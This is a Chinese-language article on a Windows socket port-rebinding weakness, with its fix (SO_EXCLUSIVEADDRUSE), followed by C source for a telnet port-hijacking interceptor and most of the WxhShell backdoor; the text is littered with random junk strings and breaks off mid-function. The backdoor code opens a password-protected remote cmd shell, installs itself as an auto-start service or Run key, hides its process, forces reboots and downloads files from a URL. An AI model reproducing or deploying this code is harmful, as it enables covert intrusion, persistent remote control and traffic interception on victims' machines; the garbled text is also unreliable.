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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :!+}XT7)/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x:A-p..e ?2?S[\@`0U saddr.sin_family = AF_INET; `\ W , N@Yk. saddr.sin_addr.s_addr = htonl(INADDR_ANY); H4}%;m% HvqF@/xh bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O:5Rp_?^ uXG`6|? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tL={ y* cD'HQ3+ 这意味着什么?意味着可以进行如下的攻击: DD/>{kff 5q(]1|Sei 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z#OhYm+y /i-xX* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `?zg3GD_ o[bE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 96"yNqBf M1/M}~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +{")E) <fC@KY># 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S'
(cqO}=F @)W(q5)}9" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FGDGWcRw~ (B_7\}v|_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "EcX_> |+Hp+9J #include &dhcKO<4 #include %Ycx C0S[ #include Snc;p #include 93W DWORD WINAPI ClientThread(LPVOID lpParam); .N~PHyXZR int main() y*VQ]aJ { KA 5~">l WORD wVersionRequested; ]^J+-c DWORD ret; v`#j WSADATA wsaData; KGV.S BOOL val; !US8aT SOCKADDR_IN saddr; H&w:`JYDL3 SOCKADDR_IN scaddr; w(76H^e int err; GBH_r0 SOCKET s; K3vseor SOCKET sc; =jg#fdM
- int caddsize; ..t,LU@| HANDLE mt; Y7<zm}=(/ DWORD tid; Vq3gceo'0A wVersionRequested = MAKEWORD( 2, 2 ); Zg
-]sp] err = WSAStartup( wVersionRequested, &wsaData ); &8[ZN$Xe" if ( err != 0 ) { CS/Mpmsp printf("error!WSAStartup failed!\n"); !c3```* return -1; EMVk:Vt] } Ds%9cp*6 saddr.sin_family = AF_INET; nNt*} k X+=-f^)& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Nls83 W E,{GU saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {>8Pl2J saddr.sin_port = htons(23); )y9 ;OA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y/.AUN
Z { &+mV7o printf("error!socket failed!\n"); V]79vC return -1; aWyUu/g<A` } $4Z+F#mx val = TRUE; di~]HUZh) //SO_REUSEADDR选项就是可以实现端口重绑定的 j|:dYt`WM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IByf_E;r { _fcS>/<a printf("error!setsockopt failed!\n"); )PR3s1S^ return -1; \7pipde } O^5UB~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !Eq#[Gs //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AY#wVy //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yn SBVb!) *)u?~r(F if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7ftR4 { ~12_D'8D[ ret=GetLastError(); !c% printf("error!bind failed!\n"); n.*3,4.] return -1; B[r<m J } GL1'Zo listen(s,2); '"y}#h__T while(1) B$rTwR"(- { 6?N4l ]l caddsize = sizeof(scaddr); 3y99O
$EAc //接受连接请求 "!O1j
r; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q]@c&* _| if(sc!=INVALID_SOCKET) m`z7fi7u { yL6^\x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #ZJMlJ:q`" if(mt==NULL) $B\ H { i}v9ut]B printf("Thread Creat Failed!\n"); Ga v"C{G break; %}P4kEY } qj&bo } mzX;s&N# CloseHandle(mt); `H\)e%] } s=Df ` closesocket(s); OOnX` WSACleanup(); H3, ut return 0; gxwo4., } ~2@Lx3t$ DWORD WINAPI ClientThread(LPVOID lpParam) #EDEYEW7 { |~WYEh SOCKET ss = (SOCKET)lpParam;
.[?BlIlm SOCKET sc; )tS-.P rA- unsigned char buf[4096]; _T5)n=| SOCKADDR_IN saddr; &SH1q_&BQ long num; _%~$'Hy DWORD val; rAb&I"\ZY DWORD ret; $IVwA //如果是隐藏端口应用的话,可以在此处加一些判断 iXFP5a>| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^rL_C}YBj- saddr.sin_family = AF_INET; )0k']g5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%v+=;jw saddr.sin_port = htons(23); [84F09HU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %T!J$a)qf { (CJ.BHu] printf("error!socket failed!\n"); `S3>3 return -1; d,0 }VaY=D } >xqM5#m`E$ val = 100; paW@\1Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rkB'Hf { $bvJTuw ret = GetLastError(); tnz+bX26 return -1; FY'ty@|_s } 4nqoZk^R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fY,|o3# { 3GH(wSv9\ ret = GetLastError(); }tG3tz0%fX return -1; "Pz}@= } hePPxKQ- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /KCPpERk{ { 9zBMlc$X printf("error!socket connect failed!\n"); ;`dh
fcU closesocket(sc); uuNR?1fS closesocket(ss); -c%dvck^, return -1; 8X$LC } 17|np2~ while(1) 9Q;c,] { l"(6]Z 4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j(rL //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]Mi.f3QlO6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FT.,%2 num = recv(ss,buf,4096,0); K_/zuTy if(num>0) =1p8i send(sc,buf,num,0); b:J(b? else if(num==0) %JZZ%xc break; /9pM>Cd*Z num = recv(sc,buf,4096,0); ~utJB 'gr if(num>0) tK(g-u0N`( send(ss,buf,num,0); bFS>) else if(num==0) o%E;3l break; Hr<o!e{Y } px;/8c- closesocket(ss); 7nU6k%_ % closesocket(sc); R\|lt)h return 0 ; !v.9"!' N } 5kypMHJm nmU_N:Y X-LA}YH=tS ========================================================== 8.J(r(;> ;%C'FV e] 下边附上一个代码,,WXhSHELL v``-F(i$ @f+8%I3D ========================================================== oR1^/e 5yZ TcS z #include "stdafx.h" Z?P~z07 nl aM #include <stdio.h> l v&mp0V+ #include <string.h>
+=q) #include <windows.h> YgUH'P- #include <winsock2.h> *l+OlQI0+ #include <winsvc.h> B/JO~;{ #include <urlmon.h>
-t2T(ha "9EE1];NT #pragma comment (lib, "Ws2_32.lib") *OJ/V O #pragma comment (lib, "urlmon.lib") -|k)tvAm Kv'n:z7Md #define MAX_USER 100 // 最大客户端连接数 WtulTAfN #define BUF_SOCK 200 // sock buffer [#Lc]$ #define KEY_BUFF 255 // 输入 buffer $rF=_D6 eN?Y7 #define REBOOT 0 // 重启 LVJI_ O{fH #define SHUTDOWN 1 // 关机 7hW+T7u? b-U
eIjX #define DEF_PORT 5000 // 监听端口 =L|tp%! J_;N:7'p #define REG_LEN 16 // 注册表键长度 aNn"X y\ k #define SVC_LEN 80 // NT服务名长度 /M;#_+VK< aI(7nJ=R // 从dll定义API acP+3u?r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Migd(uw' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u's`*T@. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3A:q7#m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n<sd!xmqFx ,;?S\V // wxhshell配置信息 =gfI!w struct WSCFG { vK7\JZ> int ws_port; // 监听端口 *-W#G}O0 char ws_passstr[REG_LEN]; // 口令 >d"3<S ;b int ws_autoins; // 安装标记, 1=yes 0=no n\Fp[9+Z\ char ws_regname[REG_LEN]; // 注册表键名 &AVpLf:? char ws_svcname[REG_LEN]; // 服务名 {t"+
3zy' char ws_svcdisp[SVC_LEN]; // 服务显示名 wbDM5% char ws_svcdesc[SVC_LEN]; // 服务描述信息 FLg*R/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )#|<w9uec int ws_downexe; // 下载执行标记, 1=yes 0=no f<=Fsl char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ;*ix~taL% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '7wd$rl \!IMaB] }; 2sNK bNFLO
Q // default Wxhshell configuration >Rvx[`|O!m struct WSCFG wscfg={DEF_PORT, g4`Kp;}&' "xuhuanlingzhe", |(moWY= 1, IK,|5] *Ar "Wxhshell", :j|IP)-f "Wxhshell", gqXS~K9t "WxhShell Service", H>9CW<8 "Wrsky Windows CmdShell Service", nJ4@I7Sk; "Please Input Your Password: ", o1&:ry 1, -<jL~][S " http://www.wrsky.com/wxhshell.exe", Fhv/[j^X "Wxhshell.exe" g %K> }; } VJfJ/ vZ/6\Cz // 消息定义模块 xtPLR/Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L9pvG(R% char *msg_ws_prompt="\n\r? for help\n\r#>"; lis/`B\x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *
tCS char *msg_ws_ext="\n\rExit."; h)~=Dm char *msg_ws_end="\n\rQuit."; Qk!;M| char *msg_ws_boot="\n\rReboot..."; f\'{3I29 char *msg_ws_poff="\n\rShutdown..."; !O\;Nua char *msg_ws_down="\n\rSave to "; (feTk72XX '$4O!YI9@ char *msg_ws_err="\n\rErr!"; G}
eUL|S char *msg_ws_ok="\n\rOK!"; 8WE{5#oi 0 a]/%y3V char ExeFile[MAX_PATH]; ~~/xRs int nUser = 0; ^c~)/F/cF HANDLE handles[MAX_USER]; :o:e,WKxb int OsIsNt; %WqNiF0- go+Q~NV SERVICE_STATUS serviceStatus; UobyK3.% SERVICE_STATUS_HANDLE hServiceStatusHandle; H|cNH= pg]BsJN // 函数声明 ,-x!$VqS int Install(void); Z/rP"|EuQ int Uninstall(void); 1B),A~Ip int DownloadFile(char *sURL, SOCKET wsh); tXJUvish int Boot(int flag); y_xnai void HideProc(void); aP'"G^F int GetOsVer(void); 0]D0{6x8 int Wxhshell(SOCKET wsl); 8|E'>+ D_- void TalkWithClient(void *cs); n wI!O int CmdShell(SOCKET sock); ih?^t(i int StartFromService(void); n| GaV int StartWxhshell(LPSTR lpCmdLine); TO%dw^{_` hhoEb(BA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f+rz|(6vs{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4f(Kt,0 6}FO[ // 数据结构和表定义 V]*b4nX7 SERVICE_TABLE_ENTRY DispatchTable[] = fgihy { FU=w(< R; {wscfg.ws_svcname, NTServiceMain}, wts=[U`( {NULL, NULL} uEc<}pV }; + [Hh,I7 g$dsd^{O7 // 自我安装 ;3_l@dP" int Install(void) .z13 =yv { 52upoU>}2 char svExeFile[MAX_PATH]; f|u#2!7 HKEY key; 7JSNYTH strcpy(svExeFile,ExeFile); eNiaM6(J jA#/Z // 如果是win9x系统,修改注册表设为自启动 <b/~.$a' if(!OsIsNt) { i#%aTRKHd6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /?';
nGq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'zh7_% RegCloseKey(key); s,a}?W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yV)la@c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DcSnia62f RegCloseKey(key); ?5kHa_^ return 0; OFje+S } 1Bxmm# } r!
Ay:r } +a^F\8H else { 5BBD.! A.UUW // 如果是NT以上系统,安装为系统服务 {BHI1Uw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pRSOYTebP if (schSCManager!=0) Gycm,Cy { dg4vc][ SC_HANDLE schService = CreateService []s^
( l }XU59 schSCManager, bI|2@HV2 wscfg.ws_svcname, vM_:&j_?`` wscfg.ws_svcdisp, 0a"igq9t SERVICE_ALL_ACCESS, xC
C:BO`pw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u4Em%:Xj SERVICE_AUTO_START, <3,<\ub SERVICE_ERROR_NORMAL, b,8{ X< svExeFile, qC'{;ko NULL, VY)s+Bx NULL, 2Pc%fuC NULL, DNP13wp@ NULL, .jMq NULL If%/3UJ@ ); Z4IgBn(Z_} if (schService!=0) '=P7""mN5 { 1
hg}(Hix CloseServiceHandle(schService); JmEj{K<3I CloseServiceHandle(schSCManager); B:7mpSnEQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BL&LeSa strcat(svExeFile,wscfg.ws_svcname); 7t.!lh5G% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KD^N)&k^Kp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZoArQ(YFy RegCloseKey(key); vX ] Gf4, return 0; ytNO*XoR } &HSq(te } !Ra*)b" CloseServiceHandle(schSCManager); =~p>`nV } }`+B=h-dW } ``E/m<r:$ 'w1YFdW return 1; E@Ad'_H }
^eoLAL s=[h?kB // 自我卸载 F`9]=T0 int Uninstall(void) U!Ek' { H:"maS\I HKEY key; ul*Qt} )Pv9_XKJ if(!OsIsNt) { }pJwj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P (S>=,Y& RegDeleteValue(key,wscfg.ws_regname);
YtO|D RegCloseKey(key); 'fPdpnJ< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r [K5w RegDeleteValue(key,wscfg.ws_regname); MX+Z ? RegCloseKey(key); ES40?o*]x return 0; w|Nz_3tI } In[Cr/&/Y } \}]!)}G } O`vTnrY else { n9s iX $ [yFsA6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j!3 Gz if (schSCManager!=0) Uo2GK3nT { ;`6^6p\p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |2KAo!PI if (schService!=0) 2YDM9`5xs\ { U)3DQ6T99 if(DeleteService(schService)!=0) { fNrgdfo CloseServiceHandle(schService); R i^[i}
CloseServiceHandle(schSCManager); tr7<]Hm: return 0; i E CrI3s } vv=VRhwF CloseServiceHandle(schService); `UBYp p } IUwm}9Q! CloseServiceHandle(schSCManager); ]Zmj4vK J } <mAhr } H9CS*|q6r B,{K*-7)MX return 1; rylzcN9RM$ } M}!2H* PiA0]> // 从指定url下载文件 zk( U8C+ int DownloadFile(char *sURL, SOCKET wsh) ?Ae ven { '}$Dgp6e HRESULT hr; ) Yd?m0m* char seps[]= "/"; ){UcS/GI= char *token; [p<w._b i char *file; 7.`fJf? char myURL[MAX_PATH]; tToTxf~ char myFILE[MAX_PATH]; y:6; LZ9[ L`24?Y{ strcpy(myURL,sURL); 6:~v4W!k token=strtok(myURL,seps); 8-O)Xx}cU while(token!=NULL) 4]E3cAJ { KRA/MQ^7~U file=token; f`Fi#EKT token=strtok(NULL,seps); 6H7],aMg$A } YD7Oao4:o q|),`.eh\ GetCurrentDirectory(MAX_PATH,myFILE); #{\%rWnCm strcat(myFILE, "\\"); }I>tO9M strcat(myFILE, file); E@b(1@ send(wsh,myFILE,strlen(myFILE),0); 5s].
@C8 send(wsh,"...",3,0); r3PT1'P?L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OE- gC2&Bm if(hr==S_OK) o !U
6? return 0; yYfsy?3 else Ct>GYk$ return 1; {yExQbN V=*wKuB } n<u
$=H r!
MWbFw|X // 系统电源模块 &mx)~J^m int Boot(int flag) 0ik7v<: { .yEBOMNZ HANDLE hToken; KGFv"u{ TOKEN_PRIVILEGES tkp; [;J>bi;3N sjV!5Z if(OsIsNt) { %xyou:~0zs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @8I4[TE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &*aIEa^ tkp.PrivilegeCount = 1; =aTv! 8</ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; av|g}xnj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W@I|Q - if(flag==REBOOT) { Sxh]R+Xb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) io8'g3< return 0; 4.5|2\[ } #*UN >X else {
c$yk s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^0\ return 0; 7x%R:^*4 } pz.JWCU1 } d\gJ$ ~^K else { yvO{:B8% if(flag==REBOOT) { M]2]\km if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t,+nQ9 return 0; NdD`Hn- } .E8_Oz else { Tq[kl'_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -^hWM}F return 0; 7%|~>
} }%{LJ}\Px } #W.#Hjpp 7 *`h/ return 1; Xx0hc 8qd } ^<a
t'jk6 IS &ZqE(`e // win9x进程隐藏模块 aGtf z) void HideProc(void) NRIG 1v> { jk [1{I/ r\-uJ~8N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /YMj-S_b~ if ( hKernel != NULL ) V8C:"UZ; { S79;^X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `-J%pEIza ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PIoLywpRn FreeLibrary(hKernel); YSic-6z0Ms } &;[Io %Q
fO8P return; bU2Z[sn. } lvBx\e;7P koZ*+VP= // 获取操作系统版本 jD<{t int GetOsVer(void) uXJ;A * { /-_h1.! OSVERSIONINFO winfo; IYS)7`{] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SwTL|+u GetVersionEx(&winfo); ,*&:2o_r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _u5#v0Y return 1; Mb|a+,:>3 else :toh0oB[ return 0; K}buH\yco } T?tgdJ #~2%) // 客户端句柄模块 7byK{{/z int Wxhshell(SOCKET wsl) 8hOk{xs8 { t(NI-UXBp SOCKET wsh; g(qJN<RC/ struct sockaddr_in client; jHE}qE~>5 DWORD myID; S >X:ZYYC =S+wCN while(nUser<MAX_USER) ;o2$
Q { IEsEdw]aZE int nSize=sizeof(client); M/>7pZW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hKLCJ#T if(wsh==INVALID_SOCKET) return 1; |,gc_G 2Mc3|T4)U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ODNM+#}` if(handles[nUser]==0) pN:Kdi closesocket(wsh); Wz49i9e+d else [q)8N nUser++; Ln')QN } t{^*6XOcJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |ef7bKU8 eTI%^d| return 0; [!HEQ8 2g } "GMBjT8 }Gz~nf% // 关闭 socket B}Z63|/N void CloseIt(SOCKET wsh) MDhRR*CBh { |:q=T
~x closesocket(wsh); v7BA[j Qr nUser--; lYVz3p ExitThread(0); dx5#\"KX=, } A&.WH?p Vd,jlt.t // 客户端请求句柄 ([\ void TalkWithClient(void *cs) 0QXVW}`hz { "}u.v?HYz
Ch&a/S} SOCKET wsh=(SOCKET)cs; ]'!f28Ng- char pwd[SVC_LEN]; 0%&1\rm+j char cmd[KEY_BUFF]; @5=oeOg36 char chr[1]; d6}r#\ int i,j; y~AVei& VRWAm>u while (nUser < MAX_USER) { LSa,1{ A!s`[2 Z if(wscfg.ws_passstr) { jSh5!6O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &S{RGXj_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xu/cq9 //ZeroMemory(pwd,KEY_BUFF); 1an^1! i=0; T! Y@`Ox while(i<SVC_LEN) { R}
eN@#"D kO.%9wFbz // 设置超时 <k eVrCR fd_set FdRead; nhB1D- struct timeval TimeOut; gp};D FD_ZERO(&FdRead); 8;b(0^ FD_SET(wsh,&FdRead); m,*QP* TimeOut.tv_sec=8; nt 81Bk= TimeOut.tv_usec=0; nrL9
E'F' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /\ y?Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3KRd b3&zjjQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9_L[w\P|4 pwd =chr[0]; |{BIHgMh if(chr[0]==0xd || chr[0]==0xa) { 5gH1.7i b pwd=0; 1tEgl\u\ break; wKtl+}} } kw>v:F<M i++; W]"zctE } Tzt8h\Q^z -[*,^Ti` // 如果是非法用户,关闭 socket SN9kFFIPb= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m'Amli@[ } 'DY`jVwa =e/9&993 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5gb|w\N> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v~f HYa> A;;fACF8e while(1) { ciFmaM. q!{y&.&\ ZeroMemory(cmd,KEY_BUFF); 35Ij
..z0 54gBJEhg // 自动支持客户端 telnet标准 $*^kY; j=0; ?Nup1!D while(j<KEY_BUFF) { T%.8'9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %824Cqdc cmd[j]=chr[0]; 6*PYFf` if(chr[0]==0xa || chr[0]==0xd) { B8nf,dj?X cmd[j]=0; -E^vLB)O break; bx#>BK! } F |d\k Q j++; +DW~BS3 } N+m)/x
=: nGpXI\K // 下载文件 T}Km?d if(strstr(cmd,"http://")) { X\]L=>]C send(wsh,msg_ws_down,strlen(msg_ws_down),0); l Q'I if(DownloadFile(cmd,wsh)) Nh8Q b/:: send(wsh,msg_ws_err,strlen(msg_ws_err),0); NTdixfR else (_niMQtF} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ee)T1~;W } >QjAoDVX? else { X}=n:Ql'YY ^`*9QjY switch(cmd[0]) { Y'c>:;JEe
|XT)QK1 // 帮助 D8inB+/- case '?': { KX76UW send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HFKfkAl break; ) brVduB } p31NIf` // 安装 >sfRI]OG case 'i': { whmdcVh. if(Install()) Vr )<\h send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=g8eMm else GQ t8p[! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gD,1 06% break; %b%-Ogz;4 } vL|SY_:4 // 卸载 Keuf9u case 'r': { di?K"Z> if(Uninstall()) G^~k)6v=m send(wsh,msg_ws_err,strlen(msg_ws_err),0); x^HGVWw_ else SFB~
->db send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hU(umL< break; :V1W/c } MC?,UDNd% // 显示 wxhshell 所在路径 gcE|#1> case 'p': { w:%o?pKet1 char svExeFile[MAX_PATH]; h XfQ)$J strcpy(svExeFile,"\n\r"); *?Lv3}E strcat(svExeFile,ExeFile); }O/U;4Z send(wsh,svExeFile,strlen(svExeFile),0); $Wjww-mx break; W,4QzcQR } '= _/ 1F*q // 重启 NiWa7 /Hr case 'b': { ;'?l$
._ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ||T2~Q*:y if(Boot(REBOOT)) 8
BY j send(wsh,msg_ws_err,strlen(msg_ws_err),0); lphFhxJA{ else { O}tZ - 'T closesocket(wsh); 4zASMu ExitThread(0); 2>|dF~" } e>7]w,*| break; u}>#Eb } |S_T^'<W // 关机 2VF%@p case 'd': { qHsUP;7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k>F'ypm if(Boot(SHUTDOWN)) bBu,#Mc send(wsh,msg_ws_err,strlen(msg_ws_err),0); @PN#p"KaT else { -u&6X,Oq\u closesocket(wsh); 9:fOYT$8 ExitThread(0); B.wYHNNV } iocI:b< break; 03xa'Of> } O?NeSx1 // 获取shell S\''e`Eb"5 case 's': { 8MK>)P o) CmdShell(wsh); l\BVS) closesocket(wsh); p`mS[bxv! ExitThread(0); ~3UQ|j break; {p)",)td } #,S0HDDHn // 退出 YCdS!&^UN case 'x': { !zuxz send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K)-U1JE7 CloseIt(wsh); ln$&``L break; 6,"IDH|ND } =CK4.
// 离开 5j:0Yt case 'q': { 4,..kSA3iw send(wsh,msg_ws_end,strlen(msg_ws_end),0); tna .52*/ closesocket(wsh); @xQgY*f# WSACleanup(); *n;!G8\ exit(1); AcS|c:3MUy break; O>qll6]{@ } `D>S;[~S7 } ~Cl){8o } #OBJzf*p 6S\C}U/ // 提示信息 >C7r:% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xgABpikC^ } rE iKi } ~oI1zNz/ n/DP>U$I& return; N<f"] } qgE 73.!`6 wDcj,:h` // shell模块句柄 vK 7^*qr;j int CmdShell(SOCKET sock) HqI t74+ { hD\rtW STARTUPINFO si; 2GFLnz ZeroMemory(&si,sizeof(si)); pM x si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |B.0TdF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _= +V/= PROCESS_INFORMATION ProcessInfo; Ol1e/Wv char cmdline[]="cmd"; =6woWlf b CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F4It/ return 0; W^fuScG)c } F\fWvXdW 4/mig0"N. // 自身启动模式 >^%7@i:@U int StartFromService(void) 0%,!jW{` { pV.Av typedef struct Nqw&< x+ { >fe-d#!{ DWORD ExitStatus; umD!2
w DWORD PebBaseAddress; AP[|Ta DWORD AffinityMask; %R@X>2l/_ DWORD BasePriority; 7+]=- ULONG UniqueProcessId; `^bgUmJ~ ULONG InheritedFromUniqueProcessId; ki [UV
